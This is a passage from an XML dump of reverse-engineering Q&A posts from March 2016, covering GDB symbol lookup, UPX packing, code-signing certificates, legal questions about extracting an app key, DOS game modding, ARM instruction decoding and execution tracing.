&lt;strong&gt;info symbol address&lt;/strong&gt; command worked for me when examining a global variable.  But, I wasn't able to do the same thing for the local variable &lt;strong&gt;x&lt;/strong&gt;.  I determined the address of &lt;strong&gt;x&lt;/strong&gt; using the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print &amp;amp;x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I used the address that was displayed in the &lt;strong&gt;info symbol&lt;/strong&gt; command, GDB displayed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;No symbol matches ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, it may depend on whether the address your examining is used for a global or local variable.  As a workaround, you can try using the command &lt;a href=&quot;https://sourceware.org/gdb/current/onlinedocs/gdb/Frame-Info.html#Frame-Info&quot; rel=&quot;nofollow&quot;&gt;info locals&lt;/a&gt;, and then use the &lt;strong&gt;print &amp;amp;&lt;em&gt;variable&lt;/em&gt;&lt;/strong&gt; command on each local variable that is displayed.     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;GDB documentation on the info commands related to examining the symbol table can be found at &lt;a href=&quot;https://sourceware.org/gdb/current/onlinedocs/gdb/Symbols.html#Symbols&quot; rel=&quot;nofollow&quot;&gt;Examining the Symbol Table&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15394" LastActivityDate="2016-03-17T15:28:24.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12243" PostTypeId="1" AcceptedAnswerId="12253" CreationDate="2016-03-17T19:24:38.157" Score="4" ViewCount="2406" Body="&lt;p&gt;If I pack an executable using UPX and then unpack the executable using UPX -d, the executables are not the same. I understand techniques for unpacking executables that are packed using UPX, but I was wondering - what happens to the executable during packing/unpacking? How does this affect the preservation of information inside the executable? (For example, if I compile C code and then decompile it I'll have lost a lot of variable name information.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I've verified that after UPX packing/repacking the binary is not the same. The state machine looks something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;#1 (Original) ----UPX Pack----&gt; #2 (Packed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;#2 (Packed) -----UPX Unpack----&gt; #3 (Unpacked)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;#3 (Unpacked) -----UPX Pack-----&gt; #4 (Repacked)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;#4 (Repacked) -----UPX Unpack----&gt; #3 (Unpacked)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where #1, #2, #3, and #4 all have different hashes.&lt;/p&gt;&#xA;" OwnerUserId="118" LastEditorUserId="118" LastEditDate="2016-03-18T14:08:15.623" LastActivityDate="2016-03-20T00:58:47.227" Title="UPX packing/unpacking information preservation" Tags="|unpacking|upx|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12246" PostTypeId="1" AcceptedAnswerId="12249" CreationDate="2016-03-18T12:44:37.363" Score="2" ViewCount="1960" Body="&lt;p&gt;While analyzing/studying/RE  exe's/dll's  you  see the certificates in peview/hexeditor etc. but how does one come to know that the certificate is a fake/malicious/expired one, there has to be a central repository of all the good or bad certificates,one which I know of is HerdProtect[.]com which tells you if the company/developer is known to distribute malware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus, I have read that people steal code signing certificates from companies and use them to sign their malware, my question is while reversing what strings should I look for in Olly/IDA ,I'm guessing the malware will be enumerating using FindFirstFile, FindNextFile etc. for a specific file(certificate file) in the system what string do such malware look for, &lt;strong&gt;&quot;OR  HAVE I GOT IT WRONG&quot;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also many exe's are signed twice why so?Is it to fool security vendors or is it normal to sign with multiple certificates.&lt;/p&gt;&#xA;" OwnerUserId="11879" LastActivityDate="2016-03-18T15:18:18.783" Title="How do malware steal Code signing certificates?" Tags="|windows|malware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12247" PostTypeId="1" CreationDate="2016-03-18T13:05:03.673" Score="2" ViewCount="192" Body="&lt;p&gt;I'm writing an open-source node.js library that lets people control some hardware, mostly for use in home automation systems. The messages to and from the hardware are AES encrypted, but I was able to find the private key embedded in their Android app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can't distribute the key along with my app, but generally speaking, can I provide end users with instructions on how to get the key themselves?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking either being vague (e.g. download the APK, decompile it, find the key in there), or being a little more specific (e.g. download the APK, decompile it with XYZ, look in /src/com/example/lib/keys.java) or perhaps somewhere inbetween (e.g. download the APK, decompile it, do a string search for &quot;private key =&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that Stack Exchange is not a lawyer, but I'm not seeing much on Google to aid me in my research, and wondered if anyone here had some generic advice. I'm in Australia, but advice from anywhere would be helpful.&lt;/p&gt;&#xA;" OwnerUserId="13282" LastActivityDate="2016-03-18T21:47:22.503" Title="Can I distribute instructions on how to extract a private key?" Tags="|decryption|law|" AnswerCount="1" CommentCount="3" ClosedDate="2016-03-21T23:25:35.693" ContentLicense="CC BY-SA 3.0" />
  <row Id="12248" PostTypeId="1" CreationDate="2016-03-18T15:07:21.107" Score="0" ViewCount="1043" Body="&lt;p&gt;befor you start reading, take a cup of coffee. I made a lot of text to explain my problem detailed. Because i can not load more than two links into this posting, i make a answer to show two additional pictures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm Robert, mechanical engineer, and a fan of nostalig thinks (like cars or games). And thats the first step to my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to modify my very first game i ever played. It's called &quot;Radix - Beyond the Void&quot;. See here for more informations: &lt;a href=&quot;https://goo.gl/Gy2kTw&quot; rel=&quot;nofollow&quot;&gt;https://goo.gl/Gy2kTw&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started reverse engineering the game about a jear ago. Within the time (maybe 30minutes a day) i was able to decode the game file and to view all the files the game is made with. A short discription:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Game has two essential files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Radix.exe (the Game executable)&lt;/li&gt;&#xA;&lt;li&gt;Radix.dat (the Gamefile)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Radix.exe is loading parts from Radix.dat (like Sounds, images, levels) into the memory and than put it on the screen to move into the menu or -more important- to kill some enemies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Radix.dat is a compressed gamefile with all necessary things for the Game. I used a HEX editor and Excel to read the index and i was able to extract all files. The Filetypes are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Music Files [.wav]&lt;/li&gt;&#xA;&lt;li&gt;Sound Files [.wav]&lt;/li&gt;&#xA;&lt;li&gt;Level Files [.lgd - own Radix format]&lt;/li&gt;&#xA;&lt;li&gt;Text Files [.txt]&lt;/li&gt;&#xA;&lt;li&gt;Image Files [own Format, see below]&lt;/li&gt;&#xA;&lt;li&gt;A Palette file for the Images [own Radix format]&lt;/li&gt;&#xA;&lt;li&gt;Demo Files (if you wait a minute, the games plays a demo) [own Radix format]&lt;/li&gt;&#xA;&lt;li&gt;Imagecontainer for Walls, Floors and Ceilings&lt;/li&gt;&#xA;&lt;li&gt;Imagecontainer for Things (like enemies or power ups)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The Imagecontainers have their own index and it was not a problem to extract the single images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It took me some hours of work, i got that the images are indexed pictures. As example a 64px x 64px picture has exactly 4096 bytes. Every byte is a pixel and the decimal number of the byte is a position at the palette file for the colours. After some more hours i wrote a programm to show me the pictures with the right colours out of the palette file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{See link 1}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pictures for the game menu are indexed pictures too, but they are 800byte bigger than the resolution is. As example the Mainmenu has 320px x 200px and the file has a size of 64000byte + 800byte. The 800byte are splittet into 768byte for colors (256 red, 256green, 256blue) and some informations about position and size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{See link 2}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you stress Google for some minutes you will find a leveleditor to make you own Levels. Within the package with the leveleditor is a programm wich is called &quot;3drescmp.exe&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3DResCmp.exe is needed to generate a new .dat File and play your own Levels in Radix. After i spend some hours with the 3DResCmp.exe i was able to change things like menuimages or Sounds, because the programmers didnt explain all functions of 3DResCmp.exe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See here a DosBox Video: &lt;a href=&quot;https://www.youtube.com/watch?v=YHL7irP7r3g&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=YHL7irP7r3g&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my mainly Problem:&#xA;I'm able to generate a new Radix.dat-File except the Walls- and Thingsimages. This is because i dont know the original format of the images. The images are indexed, i can load the palette but not even one picture. I tryed at least 30 picture formats, tryed Photoshop 2.5 and 3.0 but nothing works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my question:&#xA;Can somebody reverse engineer the 3DResCmp.exe and can tell me the what format i have to use? I assume that 3DResCmp.exe take a image and create a indexed picture with the loaded palette file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Radix, the Leveleditor and 3Drescmp.exe is written in Watcom C++ in Version of 1993 to 1995. I tryed IDA and some other tools, but i'm not a C++ programmer and i don't know how to interpret the results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have questions or a tipp feel free to answer. I dont want that you make all the work, but i'm despairing at the images and need help from a software (reverse)engineer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greetings,&#xA;Robert&lt;/p&gt;&#xA;" OwnerUserId="15446" LastActivityDate="2016-03-26T10:51:18.453" Title="Help needed: Reverse engineer a DOS executable for a Game MOD" Tags="|disassembly|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12249" PostTypeId="2" ParentId="12246" CreationDate="2016-03-18T15:18:18.783" Score="7" Body="&lt;p&gt;For an executable with a digital certificate, it's easy enough to check for the certificate's information and origin by looking at the executable's properties. For example, here's what is shown for Skype:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jO6he.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jO6he.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These certificates are issued to a developer from a trusted Certification Authority (CA) and are used to sign the executable before distributing it. In theory, the CA should fully verify the identity of the developer applying for a certificate before issuing one, but in practice a CA is still a system involving imperfect entities and it's possible for a malware author to apply for and receive a &quot;good&quot; certificate from a trusted CA while never producing anything but malware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you refer back to the first image of the Skype certificates and select &quot;Details&quot;, you'll be able to get more information about the certificate and its origin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/G9VaH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/G9VaH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this image, we can see exactly who the certificate was issued to and who issued it, along with relevant issue date and expiration information. This is a direct download from the official Skype site, so I can be pretty confident that the software was made by who it says. Likewise, the certificate was issued by the Microsoft Code Signing PCA, so we can be at least reasonably confident that the certificate is trustworthy. If you look at the &quot;Certification Path&quot; tab, you can trace the certificate all the way back to the root CA and again verify that everything looks as it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Determining whether or not the certificate is malicious or stolen can be difficult to detect, but is somewhat a matter of common sense. Does your certificate claim to be issued to a legitimate publisher (e.g., Microsoft) but you know that the software you downloaded is not from them? Something may be amiss. You can also look at the issuing CA and try to find information online about their reputation. Does the CA do a bad job of screening out people who distribute malware? Do they have a reputation for poor information security? If the issuer seems sketchy, then they very well may be. Relying on the reputation of CAs is a known vulnerability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, as to your second question: the certificate consists of a private/public key pair, with the private key kept private (of course) and the public key distributed with the application. Using a code signing tool, a developer generates a hash of the executable and encrypts it with the private key. This hash is distributed with the public key portion of the certificate in the executable. On the user's end, a new hash of the executable is taken and decrypted with the public key to verify its integrity. This means that executables that have been modified after having been signed won't have a valid certificate and you should get a warning when trying to install or run them. If you want to see a list of certificates on your system (both trusted and untrusted), open up a command prompt window and run &lt;code&gt;certmgr&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that in order for a legitimate certificate to be &quot;stolen&quot; and malware to sign itself with it, it would need access to the private key. If the private key is exposed (&lt;a href=&quot;https://www.kb.cert.org/vuls/id/925497&quot; rel=&quot;nofollow noreferrer&quot;&gt;like what happened to Dell several years ago...&lt;/a&gt;) then it is possible for a malware author to sign their software as if they were the developer to whom the certificate was issued. If this private key is kept private, then it should theoretically be safe. I think the answer to your second question is that you're a bit confused as to how code signing works, but if you &lt;em&gt;did&lt;/em&gt; manage to come across a bit of malware that was attempting to generate signed code, I would keep an eye out for sections of code attempting to launch a &lt;code&gt;signtool&lt;/code&gt; instance, loading a &lt;code&gt;.pfx&lt;/code&gt; or other private key file, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not an expert on code signing or certification authorities, so it's possible that there are cases where malware generates self-signed certificates, messes with root CAs on the system, etc., but someone more experienced than me would have to weigh in on that...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the dual-signing in your third question, it would be helpful to see an example of what you're talking about, but I did find that Skype is signed with two certificates. The primary difference between the two is the digest algorithm, with one being sha1 and the other sha256. This is likely a mechanism to deal with legacy users who have an operating system for which sha256 is not currently supported and require the older (and deprecated) sha1 digest algorithm. (see: &lt;a href=&quot;https://security.stackexchange.com/questions/109629/deprecation-of-sha1-code-signing-certificates-on-windows&quot;&gt;https://security.stackexchange.com/questions/109629/deprecation-of-sha1-code-signing-certificates-on-windows&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a more in-depth look at code signing and certification authorities, feel free to check out &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ms537361(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;this MSDN article&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13386" LastEditorUserId="-1" LastEditDate="2017-03-17T10:46:10.773" LastActivityDate="2016-03-18T15:18:18.783" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12251" PostTypeId="2" ParentId="12150" CreationDate="2016-03-18T20:34:44.623" Score="1" Body="&lt;p&gt;May be, function have a switch idiom, that hasn't recognized by IDA (not hexrays),  in this case hexrays can omit all switch code in output. You need search near that function for switch offset tables and manually set switch idioms for referencing code &lt;/p&gt;&#xA;" OwnerUserId="15450" LastActivityDate="2016-03-18T20:34:44.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12252" PostTypeId="2" ParentId="12247" CreationDate="2016-03-18T21:47:22.503" Score="0" Body="&lt;p&gt;IIRC in Australia it is completely legal to reverse engineer code for &quot;compatibility&quot; purposes, with some caveats (e.g. source must not be available from the vendor and you must have legally purchased a copy you reverse). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can describe the procedure in full, just don't include the actual key in your writeup :) You do need a lawyer's advice on how to better phrase your text.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2016-03-18T21:47:22.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12253" PostTypeId="2" ParentId="12243" CreationDate="2016-03-19T03:21:46.393" Score="9" Body="&lt;p&gt;If you compare the hash values of original/unpacked files, then they are different since &lt;code&gt;upx -d&lt;/code&gt; does not restore bit-by-bit of the original file. Indeed, &lt;code&gt;UPX&lt;/code&gt; parses the original file and &lt;em&gt;keeps only information so that the packed data, after being unpacked, can be executed exactly the same as the original one&lt;/em&gt;, i.e. the original/unpacked files are semantically equivalent but not physically equivalent^^.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is understandable since there is information that not affect to the execution of the binary, a trivial instance is the data between the end of DOS stub and the begin of PE header. For more detail, you may refer to the function &lt;code&gt;pack&lt;/code&gt; of the class, for example, &lt;code&gt;PackW32Pe&lt;/code&gt; (in &lt;code&gt;p_w32pe.h/cpp&lt;/code&gt;) for PE and the function &lt;code&gt;unpack&lt;/code&gt; of the class &lt;code&gt;Packer&lt;/code&gt; (in &lt;code&gt;packer.h/cpp&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, we can see that &lt;code&gt;UPX&lt;/code&gt; modifies the (DOS and PE) header of the unpacked file using the following code (I have renamed some variables for more comprehensible). First, it decompresses and extracts the header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// decompress&#xA;decompress(input_buffer, output_buffer);&#xA;upx_byte *extrainfo = output_buffer + get_le32(output_buffer + ph.u_len - 4);&#xA;&#xA;memcpy(&amp;amp;output_header, extrainfo, sizeof (output_header));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then modifies slightly the header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;output_header.headersize = rvamin;&#xA;output_header.chksum = 0;&#xA;&#xA;//NEW: disable reloc stripping if ASLR is enabled&#xA;if(input_header.dllflags &amp;amp; IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE)&#xA;    opt-&amp;gt;win32_pe.strip_relocs = false;&#xA;&#xA;// FIXME: ih.flags is checked here because of a bug in UPX 0.92&#xA;if ((opt-&amp;gt;win32_pe.strip_relocs &amp;amp;&amp;amp; !isdll) || (input_header.flags &amp;amp; RELOCS_STRIPPED))&#xA;{&#xA;  output_header.flags |= RELOCS_STRIPPED;&#xA;  ODADDR(PEDIR_RELOC) = 0;&#xA;  ODSIZE(PEDIR_RELOC) = 0;&#xA;}&#xA;&#xA;// write decompressed file&#xA;if (output_file)&#xA;{&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2016-03-20T00:58:47.227" LastActivityDate="2016-03-20T00:58:47.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12254" PostTypeId="1" AcceptedAnswerId="12257" CreationDate="2016-03-19T14:54:12.247" Score="0" ViewCount="905" Body="&lt;p&gt;I'm trying to reverse engineering a simple program (learning purpose) using IDA and I got stuck on this instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov    dl, byte_404580[eax]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This instruction stores in the first 8 bit of &lt;code&gt;EDX&lt;/code&gt; a value derived from &lt;code&gt;EAX&lt;/code&gt; and &lt;code&gt;byte_404580&lt;/code&gt; but I don't know how it is actually computed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at &lt;code&gt;byte_404580&lt;/code&gt; is stored the hex value &lt;code&gt;69h&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.data:00404580 byte_404580     db 69h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it the same of &lt;code&gt;[eax+69h]&lt;/code&gt; or not?&lt;/p&gt;&#xA;" OwnerDisplayName="user15454" LastActivityDate="2016-03-19T18:51:08.540" Title="What does mov from hex[eax] mean?" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12257" PostTypeId="2" ParentId="12254" CreationDate="2016-03-19T18:51:08.540" Score="2" Body="&lt;p&gt;(Copying the comments of Extreme Coders so the question can be marked as answered.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is similar to array notation.The instruction fetches the byte at an offset of &lt;code&gt;eax&lt;/code&gt; from &lt;code&gt;byte_404580&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related question : &lt;a href=&quot;https://stackoverflow.com/questions/12148010/understanding-x86-mov-syntax&quot;&gt;https://stackoverflow.com/questions/12148010/understanding-x86-mov-syntax&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-03-19T18:51:08.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12258" PostTypeId="1" AcceptedAnswerId="12259" CreationDate="2016-03-20T04:02:57.953" Score="1" ViewCount="265" Body="&lt;p&gt;When reversing a ARM firmware using IDA Pro, I find a instruction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ROM:080461FC 0F F2 24 30         ADR.W      R0, aBt_test_mode ; &quot;BT_TEST_MODE&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ROM:08046524    aBt_test_mode       DCB &quot;BT_TEST_MODE&quot;,0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is a Thumb-2 instruction.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/FlMsb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FlMsb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;imm8=0010 0100&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rd=0000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;imm3=011&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I don't know how to calculate imm32. (imm32 = ZeroExtend(i:imm3:imm8, 32))&#xA;and how to calculate the 08046524?&lt;/p&gt;&#xA;" OwnerUserId="6903" LastActivityDate="2016-03-20T09:08:43.820" Title="The questions about ADR.W instruction" Tags="|arm|thumb2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12259" PostTypeId="2" ParentId="12258" CreationDate="2016-03-20T09:03:41.913" Score="1" Body="&lt;p&gt;As you say, you have -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;imm8 = 0010 0100&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;imm3 = 011&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but you also have&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;i = 0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;imm32 = ZeroExtend(i:imm3:imm8,32) =&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;imm32 = ZeroExtend(0:011:00100100,32) =&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;imm32 = ZeroExtend(001100100100,32) =&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;imm32 = 00000000000000000000001100100100 = 0x00000324&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ADR instruction description explains that &quot;This instruction adds an immediate value to the PC value to form a PC-relative address, and writes the result to the&#xA;destination register.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you are in Thumb mode, the value of PC is equal to the (4 byte aligned) address of the instruction + 4 bytes. &#xA;In your case the instruction is at address &lt;code&gt;0x080461FC&lt;/code&gt; so &lt;code&gt;PC = 0x080461FC + 4 = 0x08046200&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The address calculation is then -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;PC + imm32 = 0x08046200 + 0x00000324 = 0x08046524&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what you see in IDA's disassembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look in the 'Operation' section of the ADR instruction in the ARM architecture reference manual you can see this explained.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastEditorUserId="4731" LastEditDate="2016-03-20T09:08:43.820" LastActivityDate="2016-03-20T09:08:43.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12260" PostTypeId="1" CreationDate="2016-03-20T20:47:34.727" Score="6" ViewCount="5278" Body="&lt;p&gt;I would like to create an execution trace of a binary. To be precise, I would like to record every executed assembly instruction, together with possible memory accesses. By memory accesses I mean reading from, or writing to, memory. For these accesses I would like to record &lt;em&gt;where&lt;/em&gt; the instruction reads from (resp. writes to) and &lt;em&gt;what&lt;/em&gt; value it reads (resp. what value it writes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible, I would prefer a solution which works on Windows and Linux, as well as for different kinds of CPUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The performance does not matter for the moment, i.e. a debugger script would be okay. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried several things, but I did not manage to get what I wanted:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;IDA: I could not find a straight forward way of getting the memory accesses with content (there are obscure functions such as &lt;code&gt;idc.GetTevRegMem&lt;/code&gt; (&lt;a href=&quot;https://github.com/idapython/src/blob/master/python/idc.py#L8325&quot; rel=&quot;noreferrer&quot;&gt;see here&lt;/a&gt;) but to reach my goal things get very very complex.&lt;/li&gt;&#xA;&lt;li&gt;Valgrind: &lt;code&gt;valgrind --tool=lackey --trace-mem=yes&lt;/code&gt; gave me the accesses, but not the content, &lt;a href=&quot;http://valgrind.org/docs/manual/lk-manual.html&quot; rel=&quot;noreferrer&quot;&gt;see here&lt;/a&gt; for lackey&lt;/li&gt;&#xA;&lt;li&gt;GDB: Using watchpoints is not an option as their number is restricted&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For the moment, &lt;a href=&quot;https://github.com/moyix/panda/blob/master/docs/manual.md&quot; rel=&quot;noreferrer&quot;&gt;PANDA&lt;/a&gt; seems to be the most promising choice (&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/4779/11830&quot;&gt;see comment of PANDA author here&lt;/a&gt;). Yet, I don't know PANDA and thus cannot tell how complex the creation of a suitable PANDA plugin will get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As my goal seems not very exotic to me, I figured there must exist something already or there must be an easy way. For example, some lines of debugger script code, a PIN tool (yet Intel only), or a qemu argument or the like. Does it?&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2019-06-13T13:47:24.940" Title="How to log all memory accesses (read and write) including the memory content in a binary execution trace?" Tags="|ida|debugging|qemu|tracing|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12261" PostTypeId="1" CreationDate="2016-03-21T11:45:13.940" Score="2" ViewCount="1333" Body="&lt;p&gt;.&#xA;Hello, everybody!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my scientific work I need big amount of benign PE-files(dll, exe, scr, com). An amount of 500-600 files would be great.&#xA;While there are plenty of websites where you can download malware, I have not found one where you may download a big amount of non malicious executables. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have some ideas where I could obtain such a big amount of Portable Executables which are not malicious?&#xA;Thank you in advance!&lt;/p&gt;&#xA;" OwnerUserId="12670" LastEditorUserId="12670" LastEditDate="2016-03-21T13:55:51.253" LastActivityDate="2016-03-21T13:55:51.253" Title="Benign Portable Executables" Tags="|pe|benign|" AnswerCount="1" CommentCount="5" ClosedDate="2016-03-21T23:25:28.160" ContentLicense="CC BY-SA 3.0" />
  <row Id="12262" PostTypeId="2" ParentId="9281" CreationDate="2016-03-21T12:08:30.817" Score="2" Body="&lt;p&gt;I was able to achieve this by installing gdbserver on my ipad. Then i ssh into the ipad and attach a remote lldb debugger (xcode tools) to attack breakpoints. A long method but works. There are now tools to debug in same way on android and ios. &lt;/p&gt;&#xA;" OwnerUserId="12905" LastActivityDate="2016-03-21T12:08:30.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12263" PostTypeId="2" ParentId="12261" CreationDate="2016-03-21T13:02:26.483" Score="1" Body="&lt;p&gt;You can try to use an automated analysis system like &lt;a href=&quot;http://bsa.isoftware.nl/&quot; rel=&quot;nofollow&quot;&gt;http://bsa.isoftware.nl/&lt;/a&gt; or &lt;a href=&quot;https://www.cuckoosandbox.org/&quot; rel=&quot;nofollow&quot;&gt;https://www.cuckoosandbox.org/&lt;/a&gt;. They have the option to automate installation of setups and also keep the dropped files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can go to download.com or softpedia.com and download a large amount of setups/installers(crawler is suggested), put them in a folder and run an automatic analysis on them. You will get a list of folders with each analysis where you can search for *.exe, *.dll, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestion: as some setups come bundled with toolbars, adware, etc, I suggest running a virustotal scan for all the files you obtain in order to have 100% clean set.&lt;/p&gt;&#xA;" OwnerUserId="8612" LastActivityDate="2016-03-21T13:02:26.483" CommentCount="3" 